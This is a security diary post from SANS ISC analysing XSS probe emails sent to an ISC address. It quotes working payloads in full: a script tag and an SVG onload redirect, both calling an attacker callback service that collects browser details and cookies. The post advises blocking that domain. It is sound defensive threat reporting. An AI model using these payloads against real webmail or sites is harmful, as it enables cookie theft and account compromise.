One of the hardest applications to create securely is webmail. E-mail is a complex standard, and almost all e-mail sent today uses HTML. Displaying complex HTML received in an e-mail within a web application is dangerous and often leads to XSS vulnerabilities. Typical solutions include the use of iframe sandboxes and HTML sanitizers. But still, XSS vulnerabilities sneak into applications even if they try hard to get it right. One of my "favorite" examples of how subtle mistakes can cause vulnerabilities was a recent Protonmail vulnerability [1]. Even if you are not using webmail to read email, you may still be exploited as some native email clients have allowed HTML content to leak credentials or have been subject to other HTML-related problems, often related to including content from third-party websites dynamically.

So it is no surprise that attackers often probe for XSS vulnerabilities in emails. Today, I received a set of XSS attack attempts to one of our ISC e-mail addresses. They all appear to be originating from a WordPress site with an insecure webmail implementation that allowed the emails to be sent. I do not know if there is a specific vulnerability these attempts are trying to exploit, but in case you know, please let me know. Here is a quick sample:

Subject: [EXTERNAL]
 email@isc.sans.edu-\';<x>\"/><x>/textarea><x>/script><script<x>/src=//xss.report/c/deergon><x>/script>
 enquiry

The body of the e-mail:

<div>Sender Name: <br>
Sender Email: admin@the-butcher.com<br>
Message: email@isc.sans.edu-llllll--&gt;</template><svg onload=3D"location.=
href=3D\'https://xss.report/c/deragin\'"></svg>
<br>
</div>

We received about half a dozen attempts like this with different XSS exploit strings. Some, like the one above, attempt to exploit a mXXS vulnerability. The site "xss.report" is used to collect the responses. It offers XSS callbacks as a service. The URL xss.report/c/deragin delivers JavaScript that will collect browser parameters for the attacker to confirm the exploit's success and collect additional details from the browser, including cookies if they are accessible. "deragin" likely links to the user's xss.report account.

As a defensive measure, you may want to block xss.report and alert on any access attempts.

Attempts to report this as abuse to xss.reports failed as their mail server appears to be on some blocklist.

[1] https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|